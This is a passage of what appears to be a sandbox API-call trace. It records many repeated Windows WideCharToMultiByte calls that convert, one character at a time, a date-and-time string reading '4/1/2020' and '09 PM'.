lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=":", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=":\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=":", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=":\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="M", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="^", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="^\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="/", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="/\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="/", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="/\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=":", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=":\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=":", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=":\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="M", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="^", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="^\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="/", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="/\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="/", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="/\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=":", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=":\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=":", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=":\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="M", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="^", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="^\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="/", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="/\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="/", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="/\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=":", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=":\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=":", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=":\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="M", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="^", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="^\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="/", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="/\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.759] 